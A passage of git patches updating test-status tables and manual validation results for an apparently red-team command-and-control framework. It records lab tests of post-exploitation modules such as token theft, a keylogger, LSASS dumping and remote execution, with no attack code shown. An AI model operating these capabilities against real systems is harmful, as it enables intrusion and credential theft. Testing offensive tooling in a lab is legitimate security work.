| medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | pass | pass | | pass | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | pass | pass | -| partial | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | pass | | partial | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | untested | | untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index f67643c..508cfa9 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 50 | +| pass | 77 | | fail | 0 | | blocked | 2 | -| partial | 57 | +| partial | 30 | | untested | 2 | | planned | 2 | @@ -35,7 +35,7 @@ _Generated by `scripts/generate-test-state.py`._ | C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | | CommonCommands | 5 | 0 | 0 | 2 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | -| Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | +| Modules | 39 | 0 | 0 | 12 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | | TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | | Validation | 3 | 0 | 0 | 0 | 0 | 0 | 3 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index abbd0d6..be19ed7 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -1,5 +1,5 @@ schema_version: 1 -updated_at: "2026-05-08" +updated_at: "2026-05-09" description: > Manual validation results for scenarios defined in test-catalog.yaml. Keep this file result-only: every result id must already exist in the catalog. @@ -163,10 +163,10 @@ results: - id: MODULE-RUN-CONTRACT-001 status: pass - date: "2026-05-07" + date: "2026-05-09" build: "local-dev" tester: "max" - evidence: "Executed dir through loaded run.dll successfully." + evidence: "Executed dir through loaded run.dll successfully. Retested run whoami on a Windows beacon during the module batch and the command completed successfully." notes: "Windows beacon over HTTPS." - id: BEACON-CORE-TASK-QUEUE-001 @@ -265,6 +265,222 @@ results: evidence: "loadModule download succeeded. download test1234.txt stored 1778165820263799973-a83c-test1234.txt. download C:\\Windows\\System32\\OneDriveSetup.exe stored 1778165909382546237-5f96-OneDriveSetup.exe. Download from Artifacts worked and SHA-256 hash check was OK." notes: "Validated small and large file download from Windows beacon." + - id: MODULE-PWD-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule pwd and pwd completed successfully on a Windows beacon." + notes: "Validated during the simple module batch." + + - id: MODULE-MKDIR-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule mkDir and mkDir C:\\users\\max\\desktop\\c2-module-test completed successfully." + notes: "Validated directory creation on a Windows beacon." + + - id: MODULE-TREE-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule tree and tree C:\\users\\max\\desktop\\c2-module-test completed successfully." + notes: "Validated tree output on the test directory created by mkDir." + + - id: MODULE-REMOVE-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule remove and remove C:\\users\\max\\desktop\\c2-module-test completed successfully." + notes: "Validated file/directory removal on a Windows beacon." + + - id: MODULE-SIMPLE-FILESYSTEM-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated cat, cd, ls, pwd, mkDir, tree, remove, upload, and download across the Windows module batches and golden paths." + notes: "Combines prior cat/cd/ls/upload/download validation with the 2026-05-09 pwd/mkDir/tree/remove batch." + + - id: MODULE-WHOAMI-CONTRACT-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "loadModule whoami and whoami completed successfully over the HTTP listener test; output included the current user and group memberships." + notes: "Windows beacon over HTTP." + + - id: MODULE-GETENV-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule getEnv and getEnv completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-IPCONFIG-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule ipConfig and ipConfig completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-NETSTAT-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule netstat and netstat completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-PS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule ps and ps completed successfully on a Windows beacon." + notes: "Validated during the simple system module batch." + + - id: MODULE-KILLPROCESS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule killProcess succeeded and killProcess was validated against a safe test process." + notes: "Windows beacon module test." + + - id: MODULE-SHELL-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule shell succeeded. shell whoami returned desktop-92jlelp\\max, shell exit returned shell terminated, and a later shell whoami also returned desktop-92jlelp\\max." + notes: "Current behavior allows a shell command after exit to start a new shell/process instance; keep as observed behavior unless the shell lifecycle contract is tightened." + + - id: MODULE-SIMPLE-SYSTEM-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated whoami, getEnv, ipConfig, netstat, ps, killProcess, shell, and run across the Windows simple system module batches." + notes: "Combines the 2026-05-08 HTTP whoami/run coverage with the 2026-05-09 simple system and killProcess tests." + + - id: MODULE-REGISTRY-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule registry succeeded. registry createKey/set/query/deleteValue/deleteKey against HKCU\\Software\\C2ModuleTest completed and query returned Type: 1, Data: ok." + notes: "Validated local Windows registry lifecycle on a Windows beacon." + + - id: MODULE-ENUMERATESHARES-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule enumerateShares succeeded. enumerateShares returned ADMIN$, C$, D$, E$, and IPC$ with readable descriptions." + notes: "Validated local share enumeration on a Windows beacon." + + - id: MODULE-ENUMERATERDPSESSIONS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule enumerateRdpSessions succeeded. enumerateRdpSessions returned the active Console session for DESKTOP-92JLELP\\Max with readable columns." + notes: "Validated local RDP session enumeration on a Windows beacon." + + - id: MODULE-TASKSCHEDULER-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule taskScheduler succeeded. taskScheduler created, started, and deleted the C2ModuleTest task; the task wrote c2-task-ok and the test file was removed afterward." + notes: "Validated local scheduled task execution and cleanup on a Windows beacon." + + - id: MODULE-EVASION-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule evasion succeeded. evasion CheckHooks completed with readable hook-check output for the expected Windows DLLs." + notes: "Smoke test kept to CheckHooks to avoid mutating process telemetry state." + + - id: MODULE-WINDOWS-ADMIN-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated registry, taskScheduler, evasion CheckHooks, enumerateShares, and enumerateRdpSessions on a Windows x64 beacon." + notes: "Windows admin module group covered by local, non-remote smoke tests." + + - id: MODULE-STEALTOKEN-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule stealToken succeeded. stealToken was validated against a safe process token; while impersonated, whoami returned No information." + notes: "The No information result is accepted for this test because it depends on token type and group lookup behavior." + + - id: MODULE-REV2SELF-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule rev2self succeeded. rev2self returned Reverted to self, and a following whoami returned User: Max with expected group information." + notes: "Validated return to the original Windows beacon token context after impersonation." + + - id: MODULE-SPAWNAS-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule spawnAs succeeded. spawnAs --no-profile .\\c2test launched cmd.exe and wrote c2-spawnas-ok to C:\\Users\\Public\\c2-spawnas.txt; cat verified the content and the file was removed." + notes: "Default --with-profile path hit CreateProcessAsUserW privilege error 0x522 in this beacon context; --no-profile is the validated smoke-test path." + + - id: MODULE-MAKETOKEN-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule makeToken succeeded. makeToken c2test with the local test account returned successful login/impersonation and rev2self returned to the original Max context." + notes: "Because makeToken uses LOGON32_LOGON_NEW_CREDENTIALS, whoami continued to show the local identity; this is expected for the validated mode." + + - id: MODULE-WINDOWS-PRIVILEGE-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Validated makeToken, stealToken, rev2self, and spawnAs with a local c2test account and a safe process token." + notes: "spawnAs validated with --no-profile; makeToken validated as net-credentials impersonation where whoami can keep reporting the local identity." + + - id: MODULE-KEYLOGGER-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule keyLogger succeeded. keyLogger start, dump, and stop were tested and returned cleanly." + notes: "Smoke test validates current in-memory keylogger lifecycle. Persisting incremental output to GeneratedArtifacts/keylogger remains tracked by MODULE-KEYLOGGER-GENERATED-ARTIFACT-002." + + - id: MODULE-SCRIPT-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule script succeeded. script test.cmd from uploaded artifacts executed successfully on a Windows beacon; Linux script execution from UploadedArtifacts/testScript.sh was already validated in the Linux golden path." + notes: "Windows autocomplete initially missed uploaded .cmd artifacts because the CommandSpec only queried server scripts; the spec now includes upload artifact filters for cmd/shell scripts." + + - id: MODULE-DOTNETEXEC-CONTRACT-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "loadModule dotnetExec succeeded. dotnetExec load and run were tested successfully against a .NET tool artifact." + notes: "Validated Windows x64 .NET assembly load/execute path and tool autocomplete behavior during module stabilization." + - id: C2CLIENT-ARTIFACTS-DOWNLOAD-001 status: pass date: "2026-05-07" From 7387ca5d6945a492b0c9123244eb8caf68d6705a Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sat, 9 May 2026 14:43:52 +0200 Subject: [PATCH 64/82] manual test --- docs/TEST_GAPS.md | 25 ++++---- docs/TEST_MATRIX.md | 26 ++++---- docs/TEST_STATE.md | 10 +-- docs/testing/manual-results.yaml | 104 +++++++++++++++++++++++++++++++ 4 files changed, 134 insertions(+), 31 deletions(-) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 0353356..c01261e 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -5,7 +5,19 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | +| blocked | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | blocked | +| blocked | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | blocked | +| blocked | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | blocked | +| blocked | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | blocked | +| blocked | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | blocked | +| blocked | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | blocked | +| blocked | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | pass | blocked | | blocked | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | blocked | +| blocked | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | +| blocked | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | blocked | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | @@ -18,24 +30,11 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | pass | untested | | partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | -| partial | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | untested | -| partial | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | untested | -| partial | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | untested | -| partial | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper. | pass | untested | -| partial | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command. | pass | untested | -| partial | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | Start/stop reverse port forwarding and emit recurring traffic chunks. | pass | untested | -| partial | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available. | pass | untested | | partial | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | Resolve beacon binaries by target OS and arch for droppers and terminal operations. | pass | untested | | partial | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | Generate shellcode artifacts from supported sources and expose generic generator metadata. | pass | untested | | partial | medium | `C2CLIENT-AI-PANEL-001` | C2Client | Data AI panel | Render system/user/assistant markers with distinct colors and line breaks. | pass | untested | | partial | medium | `C2CLIENT-GRAPH-PANEL-001` | C2Client | Graph panel | Render separated nodes by default, zoom in/out controls, and no redundant title frame. | pass | untested | | partial | medium | `C2CLIENT-MAIN-THEME-001` | C2Client | Main layout theme | Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks. | pass | untested | -| partial | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | Validate CIM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | Validate DCOM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | Validate SSH execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | Validate WinRM execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | -| partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 33298a2..806f957 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -53,14 +53,14 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-WINDOWS-ADMIN-001` | Modules | Windows admin modules | windows | x64 | https | n/a | pass | pass | | pass | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | untested | +| blocked | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | blocked | | pass | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | pass | | pass | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | untested | -| partial | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | untested | -| partial | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | pass | untested | +| blocked | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | blocked | +| blocked | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | pass | blocked | +| blocked | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | blocked | +| blocked | auto+manual | medium | `MODULE-DCOMEXEC-CONTRACT-001` | Modules | dcomExec | windows | x64 | https | n/a | pass | blocked | | pass | auto+manual | high | `MODULE-DOTNETEXEC-CONTRACT-001` | Modules | dotnetExec | windows | x64 | https | tools | pass | pass | | pass | auto+manual | critical | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | any | any | https | generated | pass | pass | | pass | auto+manual | medium | `MODULE-ENUMERATERDPSESSIONS-CONTRACT-001` | Modules | enumerateRdpSessions | windows | x64 | https | n/a | pass | pass | @@ -69,37 +69,37 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | medium | `MODULE-GETENV-CONTRACT-001` | Modules | getEnv | any | any | https | n/a | pass | pass | | pass | auto+manual | critical | `MODULE-INJECT-CONTRACT-001` | Modules | inject | windows | x64 | https | generated | pass | pass | | pass | auto+manual | medium | `MODULE-IPCONFIG-CONTRACT-001` | Modules | ipConfig | any | any | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | pass | untested | +| blocked | auto+manual | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | windows | x64 | https | uploaded | pass | blocked | | pass | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | pass | | planned | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | windows | x64 | https | generated | n/a | n/a | | pass | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | untested | +| blocked | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | blocked | | pass | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-NETSTAT-CONTRACT-001` | Modules | netstat | any | any | https | n/a | pass | pass | | pass | auto+manual | critical | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | windows | x64 | https | scripts | pass | pass | | pass | auto+manual | medium | `MODULE-PS-CONTRACT-001` | Modules | ps | any | any | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | untested | +| blocked | auto+manual | high | `MODULE-PSEXEC-CONTRACT-001` | Modules | psExec | windows | x64 | https | tools | pass | blocked | | pass | auto+manual | critical | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | windows | x64 | https | tools | pass | pass | | pass | auto+manual | medium | `MODULE-PWD-CONTRACT-001` | Modules | pwd | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-REGISTRY-CONTRACT-001` | Modules | registry | windows | x64 | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | pass | -| partial | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | untested | +| blocked | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | blocked | | pass | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | pass | | pass | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | pass | | pass | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | pass | | pass | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-SPAWNAS-CONTRACT-001` | Modules | spawnAs | windows | x64 | https | n/a | pass | pass | -| partial | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | pass | untested | +| blocked | auto+manual | medium | `MODULE-SSHEXEC-CONTRACT-001` | Modules | sshExec | any | any | https | n/a | pass | blocked | | pass | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | pass | pass | | pass | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | pass | pass | | pass | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | pass | pass | | pass | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | pass | -| partial | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | untested | +| blocked | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | blocked | +| blocked | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | blocked | | untested | manual | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | linux | any | n/a | any | n/a | untested | | blocked | manual | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | windows | any | n/a | any | n/a | blocked | | pass | auto+manual | critical | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | teamserver | any | n/a | any | pass | pass | @@ -111,7 +111,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | pass | | pass | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | pass | -| partial | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | untested | +| pass | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | pass | | partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | | pass | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 508cfa9..2592cd5 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,10 +10,10 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 77 | +| pass | 78 | | fail | 0 | -| blocked | 2 | -| partial | 30 | +| blocked | 14 | +| partial | 17 | | untested | 2 | | planned | 2 | @@ -35,9 +35,9 @@ _Generated by `scripts/generate-test-state.py`._ | C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | | CommonCommands | 5 | 0 | 0 | 2 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | -| Modules | 39 | 0 | 0 | 12 | 0 | 1 | 52 | +| Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | -| TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | +| TeamServer | 10 | 0 | 0 | 2 | 0 | 0 | 12 | | Validation | 3 | 0 | 0 | 0 | 0 | 0 | 3 | ## Critical Non-Pass diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index be19ed7..1f25634 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -616,3 +616,107 @@ results: tester: "max" evidence: "Initial rebuilt WindowsModules/x64 DLLs returned Prepared shellcode tasks are not supported by this module, indicating a server/test ABI build. After replacing the modules, strings on build/artifacts/Release/WindowsModules/x64/*.dll no longer finds that server/test-only message, and screenShot executes successfully." notes: "The ABI issue is resolved for the current x64 module set, but the full Windows release artifact layout still needs a clean release validation across expected arches before marking this pass." + + - id: MODULE-CHISEL-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the required chisel 